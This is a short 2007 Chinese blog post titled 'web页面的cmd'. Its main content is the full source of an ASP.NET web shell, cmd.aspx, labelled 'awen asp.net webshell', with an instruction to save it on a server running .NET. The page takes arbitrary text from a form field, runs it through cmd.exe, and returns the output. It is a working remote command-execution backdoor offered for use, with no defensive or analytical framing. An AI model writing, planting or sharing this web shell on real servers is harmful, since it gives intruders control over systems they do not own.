会员
众包
新闻
博问
闪存
赞助商
HarmonyOS
Chat2DB
所有博客
当前博客
我的博客
我的园子
账号设置
会员中心
简洁模式
...
退出登录
注册
登录
simon
博客园
首页
新随笔
联系
订阅
管理
web页面的cmd
<!--
把下面的代码存为cmd.aspx
前提当然是服务器上已经装了.net framework了
-->
。
<%
@ Page Language
=
"
C#
"
Debug
=
"
true
"
Trace
=
"
false
"
%>
<%
@ Import Namespace
=
"
System.Diagnostics
"
%>
<%
@ Import Namespace
=
"
System.IO
"
%>
<
script
Language
="c#"
runat
="server"
>
void
Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi
=
new
ProcessStartInfo();
psi.FileName
=
"
cmd.exe
"
;
psi.Arguments
=
"
/c
"
+
arg;
psi.RedirectStandardOutput
=
true
;
psi.UseShellExecute
=
false
;
Process p
=
Process.Start(psi);
StreamReader stmrdr
=
p.StandardOutput;
string s
=
stmrdr.ReadToEnd();
stmrdr.Close();
return
s;
}
void
cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write(
"
<pre>
"
);
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write(
"
</pre>
"
);
}
</
script
>
<
HTML
>
<
HEAD
>
<
title
>
awen asp.net webshell
</
title
>
</
HEAD
>
<
body
>
<
form
id
="cmd"
method
="post"
runat
="server"
>
<
asp:TextBox
id
="txtArg"
style
="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px"
runat
="server"
Width
="250px"
></
asp:TextBox
>
<
asp:Button
id
="执行"
style
="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px"
runat
="server"
Text
="excute"
OnClick
="cmdExe_Click"
></
asp:Button
>
<
asp:Label
id
="lblText"
style
="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px"
runat
="server"
>
输入命令:
</
asp:Label
>
</
form
>
</
body
>
</
HTML
>
posted on
2007-02-14 13:12
mbskys
阅读(
946
) 评论(
0
)
收藏
举报
刷新页面
返回顶部